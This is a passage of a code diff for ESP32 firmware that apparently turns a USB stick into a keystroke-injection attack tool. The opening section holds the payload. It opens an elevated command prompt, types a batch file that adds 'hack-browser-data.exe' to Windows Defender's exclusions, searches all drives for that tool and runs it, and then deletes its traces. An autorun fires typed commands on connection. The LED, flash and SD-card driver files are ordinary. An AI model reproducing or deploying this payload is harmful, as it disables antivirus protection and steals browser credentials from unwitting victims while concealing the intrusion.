write_task("CD ..", 5, true);
write_task(R"(powershell -Command "Remove-Item 'C:/Windows/Temp/temp*' -Recurse -Force")", 5, true);
delay(2000);
write_task("exit", 5, true);
}
// Open Elevated Command Prompt, create a batch file
// Note - This code adds the filename to exception of Windows Defender List
void payload()
{
open_elevated_cmd();
const char start[] = R"(CD /d C:/Windows/Temp
mkdir temp
cd temp
rem/ > execute.bat
notepad execute.bat
)";
write_task(start, 30, true);
delay(2000);
const char data[] = R"(@echo off
setlocal enabledelayedexpansion
TIMEOUT /t 10 /nobreak
powershell -Command Add-MpPreference -ExclusionPath "D:\hack-browser-data.exe"
for %%d in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
if exist "%%d:\" (
if exist "%%d:\find_temp_check.txt" (
echo "find_temp_check.txt" found in %%d:\
cd /d "%%d:\"
hack-browser-data.exe
)
)
)
powershell -Command "Remove-Item 'C:/Windows/Temp/temp*' -Recurse -Force"
TIMEOUT /t 3 /nobreak
exit
)";
write_task(data, 15, false);
delay(1000);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.write('s'); // save the file
Keyboard.release('s');
Keyboard.press('w'); // remove notepad traces
Keyboard.releaseAll();
delay(800);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
delay(1200);
Keyboard.write(KEY_RETURN);
delay(2000);
}
// Fired automatically when USB connects (if auto-run is enabled in config)
void autorun_execute()
{
// Step 1: always try to get elevated access
if (strcmp(g_autorun.shell, "cmd") == 0)
{
Keyboard.pressRaw(0xE3); // WIN
Keyboard.pressRaw(0x15); // R
Keyboard.releaseAll();
delay(500);
write_task("cmd", 25, true);
delay(700);
}
else if (strcmp(g_autorun.shell, "powershell") == 0)
{
Keyboard.pressRaw(0xE3);
Keyboard.pressRaw(0x15);
Keyboard.releaseAll();
delay(500);
write_task("powershell", 25, true);
delay(900);
}
else if (strcmp(g_autorun.shell, "run") == 0)
{
Keyboard.pressRaw(0xE3);
Keyboard.pressRaw(0x15);
Keyboard.releaseAll();
delay(500);
}
else if (strcmp(g_autorun.shell, "elevated") == 0)
{
open_elevated_cmd();
}
else
{
return;
}
// Step 2: if a command was configured, type it
if (g_autorun.cmd[0] != '\0')
{
delay(1400);
write_task(g_autorun.cmd, 15, true);
}
}
// Initialize USB connection
void setup_usb()
{
if (USB.begin())
{
delay(200); // Give it time to start
Keyboard.begin();
write_complete_semaphore = xSemaphoreCreateBinary();
if (write_complete_semaphore == nullptr)
return;
delay(200);
if (!create_write_task())
return;
delay(50);
}
}

View File

@@ -0,0 +1,32 @@
// exescript.h
#ifndef EXESCRIPT_H
#define EXESCRIPT_H
#include "USB.h"
#include "USBHIDKeyboard.h"
#include "rgb_control.h"
struct TaskParameters
{
const char *str;
int del; // Remove the const qualifier
bool enter;
// Constructor to initialize members
TaskParameters(const char *s, int d, bool e) : str(s), del(d), enter(e) {}
};
extern USBHIDKeyboard Keyboard;
extern bool check_delay;
// Function declarations
void setup_usb();
void open_elevated_cmd();
void clear_trace();
void payload();
void autorun_execute();
void write(const char *str, const int del, bool e);
void write_task(const char *str, const int del, bool);
#endif

View File

@@ -0,0 +1,69 @@
#include "flash_fs.h"
bool flash_fs_init()
{
if (!LittleFS.begin(true))
return false;
return flash_fs_ensure_results();
}
bool flash_fs_ensure_results()
{
if (!LittleFS.exists(RESULTS_DIR))
return LittleFS.mkdir(RESULTS_DIR);
return true;
}
static String result_path(const char *name)
{
String p = RESULTS_DIR;
p += "/";
p += name;
return p;
}
bool flash_fs_write_result(const char *name, const uint8_t *data, size_t len)
{
if (!name || !data || len == 0)
return false;
if (!flash_fs_ensure_results())
return false;
File f = LittleFS.open(result_path(name), "w");
if (!f)
return false;
size_t w = f.write(data, len);
f.close();
return w == len;
}
bool flash_fs_write_result_text(const char *name, const char *text)
{
if (!text)
return false;
return flash_fs_write_result(name, (const uint8_t *)text, strlen(text));
}
String flash_fs_read_result(const char *name, size_t maxSize)
{
String out;
if (!name)
return out;
File f = LittleFS.open(result_path(name), "r");
if (!f)
return out;
out.reserve(min((size_t)f.size() + 1, maxSize));
size_t n = 0;
while (f.available() && n < maxSize)
{
out += (char)f.read();
n++;
}
f.close();
return out;
}
bool flash_fs_result_exists(const char *name)
{
return name && LittleFS.exists(result_path(name));
}

16
src/components/flash_fs.h Normal file
View File

@@ -0,0 +1,16 @@
#ifndef FLASH_FS_H
#define FLASH_FS_H
#include <Arduino.h>
#include <LittleFS.h>
#define RESULTS_DIR "/results"
bool flash_fs_init();
bool flash_fs_ensure_results();
bool flash_fs_write_result(const char *name, const uint8_t *data, size_t len);
bool flash_fs_write_result_text(const char *name, const char *text);
String flash_fs_read_result(const char *name, size_t maxSize = 65536);
bool flash_fs_result_exists(const char *name);
#endif

View File

@@ -0,0 +1,351 @@
#include "rgb_control.h"
#include <esp_log.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
// // Change the value w.r.t. your configuration
// static const int pin = 21;
// int blink_delay = 50;
// TaskHandle_t hndl_rgb_blink = nullptr, hndl_rgb_idle = nullptr;
// // Wrapper function
// void blink(bool check)
// {
// if (check == true)
// {
// vTaskResume(hndl_rgb_blink);
// }
// else
// {
// vTaskResume(hndl_rgb_idle);
// }
// }
// void blink_task(void *temp)
// {
// (void)temp; // Unwanted
// vTaskSuspend(hndl_rgb_idle);
// vTaskDelay(pdMS_TO_TICKS(100));
// while (true)
// {
// neopixelWrite(pin, 0, 64, 64);
// vTaskDelay(pdMS_TO_TICKS(blink_delay));
// neopixelWrite(pin, 0, 0, 0);
// vTaskDelay(pdMS_TO_TICKS(blink_delay));
// }
// }
// void idle_task(void *temp)
// {
// (void)temp; // Unwanted
// vTaskSuspend(hndl_rgb_blink);
// vTaskDelay(pdMS_TO_TICKS(100));
// while (true)
// {
// for (int i = 64, j = 0, k = 64; i >= 0; i--, j++, k--)
// {
// neopixelWrite(pin, k, j, i);
// vTaskDelay(pdMS_TO_TICKS(blink_delay));
// }
// }
// }
// // Initialise RGB tasks & suspend them
// void setup_rgb()
// {
// // Create RGB blinker task pinned to core 1
// xTaskCreatePinnedToCore(
// blink_task, // Function Name
// "blink_rgb", // Task name
// 2000, // Stack size
// nullptr, // When no parameter is used, simply pass NULL
// 1, // Priority
// &hndl_rgb_blink, // Task handle
// 1 // Core on which the task will run
// );
// vTaskSuspend(hndl_rgb_blink);
// // Create RGB idle task pinned to core 1
// xTaskCreatePinnedToCore(
// idle_task, // Function Name
// "idle_rgb", // Task name
// 2000, // Stack size
// nullptr, // When no parameter is used, simply pass NULL
// 1, // Priority
// &hndl_rgb_idle, // Task handle
// 1 // Core on which the task will run
// );
// vTaskSuspend(hndl_rgb_idle);
// neopixelWrite(pin, 0, 0, 0);
// }
enum
{
INDICATOR_LED_STOP = 1 << 0, // 1
INDICATOR_LED_BLINK = 1 << 1, // 2
INDICATOR_LED_BLINK_CONT = 1 << 2, // 4
INDICATOR_LED_RADIATE = 1 << 3, // 8
INDICATOR_LED_IDLE = 1 << 4 // 16
};
static void led_task(void *pvParameter);
static void handle_radiate(bool red, bool green, bool blue);
static void handle_blink(bool continuous);
static const int pin = 21;
static TaskHandle_t hndl_led_task = NULL;
static const uint8_t led_radiate_arr[] = {0, 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 66, 78, 91, 105, 120, 136, 153, 171, 190, 210, 231, 255};
static uint8_t led_delay = 50; // Delay in milliseconds
static led_color_t color = {0};
esp_err_t rgb_init(void)
{
// Register Task to the core 1 only
xTaskCreatePinnedToCore(
led_task, // Task function
"led_task", // Name for debugging
4096, // Stack depth
NULL, // Parameters
0, // Priority
&hndl_led_task, // Task handle (optional)
1 // Pin to core 1
);
if (hndl_led_task == NULL)
{
return ESP_FAIL;
}
else
{
return ESP_OK;
}
}
esp_err_t rgb_deinit(void)
{
vTaskDelete(xTaskGetHandle("led_task"));
ESP_LOGI(TAG, "Led Task deleted");
clear_led();
return ESP_OK;
}
static void led_task(void *pvParameter)
{
uint32_t notification = 0;
while (true)
{
notification = 0;
ESP_LOGI(TAG, "RGB Task Waiting for Notification");
xTaskNotifyWait(0x00, ULONG_MAX, &notification, portMAX_DELAY);
ESP_LOGI(TAG, "RGB Task Received Notification");
if (notification == INDICATOR_LED_BLINK)
{
led_task_delay((uint8_t)100);
handle_blink(false);
continue;
}
else if (notification == INDICATOR_LED_RADIATE)
{
led_task_delay((uint8_t)150);
handle_radiate((color.red != 0) ? true : false,
(color.green != 0) ? true : false,
(color.blue != 0) ? true : false);
}
else if (notification == INDICATOR_LED_BLINK_CONT)
{
led_task_delay((uint8_t)300);
handle_blink(true);
}
else if (notification == INDICATOR_LED_IDLE)
{
led_task_delay((uint8_t)50);
handle_radiate((color.red != 0) ? true : false,
(color.green != 0) ? true : false,
(color.blue != 0) ? true : false);
}
else if (notification == INDICATOR_LED_STOP)
{
clear_led();
continue;
}
else
{
continue;
}
}
// Should never reach here - If it does, suspend the task
vTaskSuspend(NULL);
}
static void handle_radiate(bool red, bool green, bool blue)
{
uint8_t len = sizeof(led_radiate_arr) / sizeof(led_radiate_arr[0]) - 1;
uint8_t del = led_delay;
uint8_t i = 0;
led_color_t color_val = {0};
uint32_t notification = 0;
ESP_LOGI(TAG, "%s Flicking %s LED(s)", (del >= 100) ? "Smoothly" : "Fast",
(red && green && blue) ? "All"
: (red && green) ? "Red & Green"
: (red && blue) ? "Red & Blue"
: (green && blue) ? "Green & Blue"
: (red) ? "Red"
: (green) ? "Green"
: (blue) ? "Blue"
: "None");
while (true)
{
if (xTaskNotifyWait(0x00, 0x00, &notification, pdMS_TO_TICKS(5)) == pdTRUE)
{
clear_led();
xTaskNotifyStateClear(NULL);
break;
};
for (i = 0; i < len; i++)
{
if (red)
{
color_val.red = led_radiate_arr[i];
};
if (green)
{
color_val.green = led_radiate_arr[i];
};
if (blue)
{
color_val.blue = led_radiate_arr[i];
};
set_led(&color_val);
vTaskDelay(pdMS_TO_TICKS(del));
}
if (xTaskNotifyWait(0x00, 0x00, &notification, pdMS_TO_TICKS(5)) == pdTRUE)
{
clear_led();
xTaskNotifyStateClear(NULL);
break;
};
for (i = len - 1; i > 0; i--)
{
if (red)
{
color_val.red = led_radiate_arr[i];
};
if (green)
{
color_val.green = led_radiate_arr[i];
};
if (blue)
{
color_val.blue = led_radiate_arr[i];
};
set_led(&color_val);
vTaskDelay(pdMS_TO_TICKS(del));
}
}
ESP_LOGI(TAG, "Flicker Task Stopped");
xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite);
}
static void handle_blink(bool continuous)
{
if (continuous == true)
{
uint32_t notification = 0;
while (true)
{
if (xTaskNotifyWait(0x00, 0x00, &notification, pdMS_TO_TICKS(5)) == pdTRUE)
{
clear_led();
xTaskNotifyStateClear(NULL);
xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite);
break;
};
set_led(&color);
vTaskDelay(pdMS_TO_TICKS(led_delay));
clear_led();
vTaskDelay(pdMS_TO_TICKS(led_delay));
}
xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite);
}
else
{
set_led(&color);
vTaskDelay(pdMS_TO_TICKS(led_delay));
clear_led();
}
}
void clear_led(void)
{
neopixelWrite(pin, 0, 0, 0);
}
void set_led(led_color_t *color_value)
{
neopixelWrite(pin, color_value->green, color_value->red, color_value->blue);
}
void led_task_delay(uint8_t new_delay)
{
// Keep delay >= 50ms - Helps prevent error with HID events
led_delay = (new_delay < 50) ? 50 : new_delay;
}
void led_idle(bool red, bool green, bool blue)
{
color.red = (red) ? 255 : 0;
color.green = (green) ? 255 : 0;
color.blue = (blue) ? 255 : 0;
xTaskNotify(hndl_led_task, INDICATOR_LED_IDLE, eSetValueWithOverwrite);
}
void led_radiate(bool red, bool green, bool blue)
{
color.red = (red) ? 255 : 0;
color.green = (green) ? 255 : 0;
color.blue = (blue) ? 255 : 0;
xTaskNotify(hndl_led_task, INDICATOR_LED_RADIATE, eSetValueWithOverwrite);
}
void led_blink(uint8_t red, uint8_t green, uint8_t blue, bool continuous)
{
color.red = red;
color.green = green;
color.blue = blue;
if (continuous)
{
xTaskNotify(hndl_led_task, INDICATOR_LED_BLINK_CONT, eSetValueWithOverwrite);
}
else
{
xTaskNotify(hndl_led_task, INDICATOR_LED_BLINK, eSetValueWithOverwrite);
}
}
void led_check_error(esp_err_t err)
{
if (err == ESP_OK)
{
led_blink((uint8_t)0, (uint8_t)255, (uint8_t)0, false);
}
else
{
led_blink((uint8_t)255, (uint8_t)0, (uint8_t)0, false);
}
}

View File

@@ -0,0 +1,30 @@
// rgb_control.h
#ifndef RGB_CONTROL_H
#define RGB_CONTROL_H
#include <Arduino.h>
#include <esp_err.h>
typedef struct led_color_t
{
uint8_t red;
uint8_t green;
uint8_t blue;
} led_color_t;
// Function declarations
esp_err_t rgb_init();
esp_err_t rgb_deinit();
void clear_led(void);
void set_led(led_color_t *color);
void led_task_delay(uint8_t del);
void led_idle(bool red, bool green, bool blue);
void led_blink(uint8_t red, uint8_t green, uint8_t blue, bool continuous);
void led_radiate(bool red, bool green, bool blue);
void led_check_error(esp_err_t err);
// // Function declarations
// void setup_rgb();
// void blink(bool check); // default value = true
#endif

View File

@@ -0,0 +1,10 @@
#include <Arduino.h>
#include "SDCard.h"
SDCard::SDCard(Stream &debug, const char *mount_point) : m_debug(debug), m_mount_point(mount_point)
{
}
SDCard::~SDCard()
{
}

View File

@@ -0,0 +1,26 @@
#pragma once
#include <freertos/FreeRTOS.h>
#include <driver/sdmmc_types.h>
#include <driver/sdspi_host.h>
#include <string>
class Stream;
class SDCard
{
protected:
std::string m_mount_point;
int m_sector_size = 0;
int m_sector_count = 0;
Stream &m_debug;
public:
SDCard(Stream &debug, const char *mount_point);
virtual ~SDCard();
virtual bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) = 0;
virtual bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) = 0;
virtual void printCardInfo() = 0;
size_t getSectorSize() { return m_sector_size; }
size_t getSectorCount() { return m_sector_count; }
const std::string &get_mount_point() { return m_mount_point; }
};

View File

@@ -0,0 +1,72 @@
#include <Arduino.h>
#include <SPI.h>
#include <SD.h>
#include "SDCardArduino.h"
SDCardArduino::SDCardArduino(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
: SDCard(debug, mount_point)
{
static SPIClass spi(HSPI);
spi.begin(clk, miso, mosi, cs);
if (SD.begin(cs, spi, 80000000, mount_point))
{
debug.println("SD card initialized");
}
else
{
debug.println("SD card initialization failed");
}
m_sector_size = SD.sectorSize();
m_sector_count = SD.numSectors();
}
SDCardArduino::~SDCardArduino()
{
SD.end();
}
void SDCardArduino::printCardInfo()
{
m_debug.printf("Card type: %d\n", SD.cardType());
if (SD.cardType() == CARD_NONE)
{
m_debug.println("No SD card attached");
return;
}
m_debug.printf("Card size: %lluMB\n", SD.cardSize() / (1024 * 1024));
}
bool SDCardArduino::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count)
{
digitalWrite(GPIO_NUM_2, HIGH);
bool res = true;
for (int i = 0; i < sector_count; i++)
{
res = SD.writeRAW((uint8_t *)src, start_sector + i);
if (!res)
{
break;
}
src += m_sector_size;
}
digitalWrite(GPIO_NUM_2, LOW);
return res;
}
bool SDCardArduino::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count)
{
digitalWrite(GPIO_NUM_2, HIGH);
bool res = true;
for (int i = 0; i < sector_count; i++)
{
res = SD.readRAW((uint8_t *)dst, start_sector + i);
if (!res)
{
break;
}
dst += m_sector_size;
}
digitalWrite(GPIO_NUM_2, LOW);
return res;
}

View File

@@ -0,0 +1,14 @@
#pragma once
#include "SDCard.h"
class SDCardArduino: public SDCard
{
protected:
public:
SDCardArduino(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
~SDCardArduino();
bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count);
bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count);
void printCardInfo();
};

View File

@@ -0,0 +1,149 @@
#include <Arduino.h>
#include <freertos/FreeRTOS.h>
#include <stdio.h>
#include <string.h>
#include <sys/unistd.h>
#include <sys/stat.h>
#include "esp_err.h"
#include "esp_log.h"
#include "esp_vfs_fat.h"
#include "driver/sdmmc_host.h"
#include "driver/sdspi_host.h"
#include "sdmmc_cmd.h"
#include "SDCardIdf.h"
#define SPI_DMA_CHAN SPI_DMA_CH_AUTO
SDCardIdf::SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3)
: SDCard(debug, mount_point)
{
// a mutex to prevent read and write overlapping
m_mutex = xSemaphoreCreateMutex();
m_host.max_freq_khz = SDMMC_FREQ_52M;
m_host.flags = SDMMC_HOST_FLAG_4BIT;
esp_err_t ret;
// Options for mounting the filesystem.
// If format_if_mount_failed is set to true, SD card will be partitioned and
// formatted in case when mounting fails.
esp_vfs_fat_sdmmc_mount_config_t mount_config = {
.format_if_mount_failed = false,
.max_files = 5,
.allocation_unit_size = 16 * 1024};
m_debug.println("Initializing SD card");
sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT();
slot_config.flags = SDMMC_SLOT_FLAG_INTERNAL_PULLUP;
slot_config.width = 4;
slot_config.clk = clk;
slot_config.cmd = cmd;
slot_config.d0 = d0;
slot_config.d1 = d1;
slot_config.d2 = d2;
slot_config.d3 = d3;
ret = esp_vfs_fat_sdmmc_mount(m_mount_point.c_str(), &m_host, &slot_config, &mount_config, &m_card);
if (ret != ESP_OK)
{
if (ret == ESP_FAIL)
{
m_debug.println("Failed to mount filesystem. "
"If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option.");
}
else
{
m_debug.printf("Failed to initialize the card (%s). "
"Make sure SD card lines have pull-up resistors in place.\n",
esp_err_to_name(ret));
}
return;
}
m_debug.printf("SDCard mounted at: %s\n", m_mount_point.c_str());
m_sector_count = m_card->csd.capacity;
m_sector_size = m_card->csd.sector_size;
m_debug.printf("SDCard sector count: %d, size: %d\n", m_sector_count, m_sector_size);
// Card has been initialized, print its properties
sdmmc_card_print_info(stdout, m_card);
}
SDCardIdf::SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
: SDCard(debug, mount_point)
{
// a mutex to prevent read and write overlapping
m_mutex = xSemaphoreCreateMutex();
m_host.max_freq_khz = SDMMC_FREQ_52M;
esp_err_t ret;
// Options for mounting the filesystem.
// If format_if_mount_failed is set to true, SD card will be partitioned and
// formatted in case when mounting fails.
esp_vfs_fat_sdmmc_mount_config_t mount_config = {
.format_if_mount_failed = false,
.max_files = 5,
.allocation_unit_size = 16 * 1024};
m_debug.println("Initializing SD card");
spi_bus_config_t bus_cfg = {
.mosi_io_num = mosi,
.miso_io_num = miso,
.sclk_io_num = clk,
.quadwp_io_num = -1,
.quadhd_io_num = -1,
.max_transfer_sz = 16384,
.flags = 0,
.intr_flags = 0
};
ret = spi_bus_initialize(spi_host_device_t(m_host.slot), &bus_cfg, SPI_DMA_CHAN);
if (ret != ESP_OK)
{
m_debug.println("Failed to initialize bus.");
return;
}
// This initializes the slot without card detect (CD) and write protect (WP) signals.
// Modify slot_config.gpio_cd and slot_config.gpio_wp if your board has these signals.
sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT();
slot_config.gpio_cs = cs;
slot_config.host_id = spi_host_device_t(m_host.slot);
ret = esp_vfs_fat_sdspi_mount(m_mount_point.c_str(), &m_host, &slot_config, &mount_config, &m_card);
if (ret != ESP_OK)
{
if (ret == ESP_FAIL)
{
m_debug.println("Failed to mount filesystem. "
"If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option.");
}
else
{
m_debug.printf("Failed to initialize the card (%s). "
"Make sure SD card lines have pull-up resistors in place.\n",
esp_err_to_name(ret));
}
return;
}
m_debug.printf("SDCard mounted at: %s\n", m_mount_point.c_str());
m_sector_count = m_card->csd.capacity;
m_sector_size = m_card->csd.sector_size;
m_debug.printf("SDCard sector count: %d, size: %d\n", m_sector_count, m_sector_size);
// Card has been initialized, print its properties
sdmmc_card_print_info(stdout, m_card);
}
SDCardIdf::~SDCardIdf()
{
// lock the SD card
xSemaphoreTake(m_mutex, portMAX_DELAY);
// All done, unmount partition and disable SDMMC or SPI peripheral
esp_vfs_fat_sdcard_unmount(m_mount_point.c_str(), m_card);
m_debug.println("Card unmounted");
//deinitialize the bus after all devices are removed
spi_bus_free(spi_host_device_t(m_host.slot));
// unlock the SD card
xSemaphoreGive(m_mutex);
}
void SDCardIdf::printCardInfo()
{
sdmmc_card_print_info(stdout, m_card);
}

View File

@@ -0,0 +1,26 @@
#pragma once
#include "SDCard.h"
#include <freertos/FreeRTOS.h>
#include <driver/sdmmc_types.h>
#include <driver/sdmmc_host.h>
#include <driver/sdspi_host.h>
class SDCardIdf: public SDCard
{
protected:
sdmmc_card_t *m_card;
#ifdef USE_SDIO
sdmmc_host_t m_host = SDMMC_HOST_DEFAULT();
#else
sdmmc_host_t m_host = SDSPI_HOST_DEFAULT();
#endif
// control access to the SD card
SemaphoreHandle_t m_mutex;
public:
SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3);
~SDCardIdf();
void printCardInfo();
};

View File

@@ -0,0 +1,124 @@
#include <Arduino.h>
#include <freertos/FreeRTOS.h>
#include <stdio.h>
#include <string.h>
#include <sys/unistd.h>
#include <sys/stat.h>
#include "esp_err.h"
#include "esp_log.h"
#include "esp_vfs_fat.h"
#include "driver/sdmmc_host.h"
#include "driver/sdspi_host.h"
#include "sdmmc_cmd.h"
#include "SDCardLazyWrite.h"
static const char *TAG = "SDC";
#define SPI_DMA_CHAN SPI_DMA_CH_AUTO
enum class RequestType {
READ,
WRITE
};
class Request {
public:
Request(RequestType type, void *data, size_t start_sector, size_t sector_count)
: m_type(type), m_start_sector(start_sector), m_sector_count(sector_count) {
if (type == RequestType::WRITE) {
m_data = malloc(sector_count * 512);
memcpy(m_data, data, sector_count * 512);
} else if(type == RequestType::READ) {
m_data = data;
} else {
m_data = NULL;
}
}
~Request() {
if (m_type == RequestType::WRITE) {
free(m_data);
}
}
RequestType m_type;
void *m_data;
size_t m_start_sector;
size_t m_sector_count;
};
SDCardLazyWrite::SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
: SDCardIdf(debug, mount_point, miso, mosi, clk, cs)
{
// a queue to hold requests (to read or write)
m_request_queue = xQueueCreate(10, sizeof(Request *));
// a queue to hold the results of read requests
m_read_queue = xQueueCreate(10, sizeof(Request *));
// create a task to drain the write queue
xTaskCreate([](void *param) {
SDCardLazyWrite *card = (SDCardLazyWrite *)param;
card->drainQueue();
}
, "SDCardWriter", 4096, this, 1, NULL);
}
SDCardLazyWrite::SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3)
: SDCardIdf(debug, mount_point, clk, cmd, d0, d1, d2, d3)
{
// a queue to hold requests (to read or write)
m_request_queue = xQueueCreate(10, sizeof(Request *));
// a queue to hold the results of read requests
m_read_queue = xQueueCreate(10, sizeof(Request *));
// create a task to drain the write queue
xTaskCreate([](void *param) {
SDCardLazyWrite *card = (SDCardLazyWrite *)param;
card->drainQueue();
}
, "SDCardWriter", 4096, this, 1, NULL);
}
bool SDCardLazyWrite::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) {
xSemaphoreTake(m_mutex, portMAX_DELAY);
// push the write request onto the queue
Request *req = new Request(RequestType::WRITE, src, start_sector, sector_count);
xQueueSend(m_request_queue, &req, portMAX_DELAY);
xSemaphoreGive(m_mutex);
return true;
}
void SDCardLazyWrite::drainQueue() {
Request *req;
while (xQueueReceive(m_request_queue, &req, portMAX_DELAY) == pdTRUE) {
// lock the SD card
xSemaphoreTake(m_mutex, portMAX_DELAY);
digitalWrite(GPIO_NUM_2, HIGH);
if (req->m_type == RequestType::WRITE) {
esp_err_t res = sdmmc_write_sectors(m_card, req->m_data, req->m_start_sector, req->m_sector_count);
delete req;
} else if (req->m_type == RequestType::READ) {
esp_err_t res = sdmmc_read_sectors(m_card, req->m_data, req->m_start_sector, req->m_sector_count);
xQueueSend(m_read_queue, &req, portMAX_DELAY);
}
digitalWrite(GPIO_NUM_2, LOW);
xSemaphoreGive(m_mutex);
}
}
bool SDCardLazyWrite::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) {
xSemaphoreTake(m_mutex, portMAX_DELAY);
// check to see if the queue has any pending writes
if (uxQueueMessagesWaiting(m_request_queue) > 0) {
// push our read request onto the queue and wait for it to complete
Request *req = new Request(RequestType::READ, dst, start_sector, sector_count);
xQueueSend(m_request_queue, &req, portMAX_DELAY);
// wait for the read to complete
xQueueReceive(m_read_queue, &req, portMAX_DELAY);
delete req;
} else {
digitalWrite(GPIO_NUM_2, HIGH);
// no pending writes, so we can just read directly
esp_err_t res = sdmmc_read_sectors(m_card, dst, start_sector, sector_count);
digitalWrite(GPIO_NUM_2, LOW);
}
xSemaphoreGive(m_mutex);
return true;
}

View File

@@ -0,0 +1,19 @@
#pragma once
#include "SDCardIdf.h"
#include <freertos/FreeRTOS.h>
class SDCardLazyWrite: public SDCardIdf
{
private:
// queue up requests
QueueHandle_t m_request_queue;
// results of reading data
QueueHandle_t m_read_queue;
void drainQueue();
public:
SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3);
bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count);
bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count);
};

View File

@@ -0,0 +1,35 @@
#include <Arduino.h>
#include "esp_vfs_fat.h"
#include "driver/sdmmc_host.h"
#include "driver/sdspi_host.h"
#include "sdmmc_cmd.h"
#include "SDCardMultiSector.h"
SDCardMultiSector::SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
: SDCardIdf(debug, mount_point, miso, mosi, clk, cs)
{
}
SDCardMultiSector::SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3)
: SDCardIdf(debug, mount_point, clk, cmd, d0, d1, d2, d3)
{
}
bool SDCardMultiSector::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) {
xSemaphoreTake(m_mutex, portMAX_DELAY);
digitalWrite(GPIO_NUM_2, HIGH);
esp_err_t res = sdmmc_write_sectors(m_card, src, start_sector, sector_count);
digitalWrite(GPIO_NUM_2, LOW);
xSemaphoreGive(m_mutex);
return res == ESP_OK;
}
bool SDCardMultiSector::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) {
xSemaphoreTake(m_mutex, portMAX_DELAY);
digitalWrite(GPIO_NUM_2, HIGH);
esp_err_t res = sdmmc_read_sectors(m_card, dst, start_sector, sector_count);
digitalWrite(GPIO_NUM_2, LOW);
xSemaphoreGive(m_mutex);
return res == ESP_OK;
}

View File

@@ -0,0 +1,13 @@
#pragma once
#include "SDCardIdf.h"
class SDCardMultiSector: public SDCardIdf
{
protected:
public:
SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3);
bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count);
bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count);
};

View File

@@ -0,0 +1,93 @@
// Main.cpp is changed to storage_wrapper.cpp
// This is done to integrate the esp32_sdcard_msc project developed by https://github.com/atomic14
// The original source code of can be found at https://github.com/atomic14/esp32-sdcard-msc
#include "storage_wrapper.h"
#include "components/rgb_control.h"
#ifndef SD_CARD_SPEED_TEST
USBMSC msc;
#endif
SDCard *card;
void log(const char *str)
{
// Serial.println(str);
return; // Not using Serial
}
static int32_t onWrite(uint32_t lba, uint32_t offset, uint8_t *buffer, uint32_t bufsize)
{
// Serial.printf("Writing %d bytes to %d at offset\n", bufsize, lba, offset);
// this writes a complete sector so we should return sector size on success
if (card->writeSectors(buffer, lba, bufsize / card->getSectorSize()))
{
return bufsize;
}
return -1;
}
static int32_t onRead(uint32_t lba, uint32_t offset, void *buffer, uint32_t bufsize)
{
// Serial.printf("Reading %d bytes from %d at offset %d\n", bufsize, lba, offset);
// this reads a complete sector so we should return sector size on success
if (card->readSectors((uint8_t *)buffer, lba, bufsize / card->getSectorSize()))
{
return bufsize;
}
return -1;
}
static bool onStartStop(uint8_t power_condition, bool start, bool load_eject)
{
Serial.printf("StartStop: %d %d %d\n", power_condition, start, load_eject);
if (load_eject)
{
#ifndef SD_CARD_SPEED_TEST
msc.end();
#endif
}
return true;
}
bool isBootButtonClicked()
{
return digitalRead(BOOT_BUTTON) == LOW;
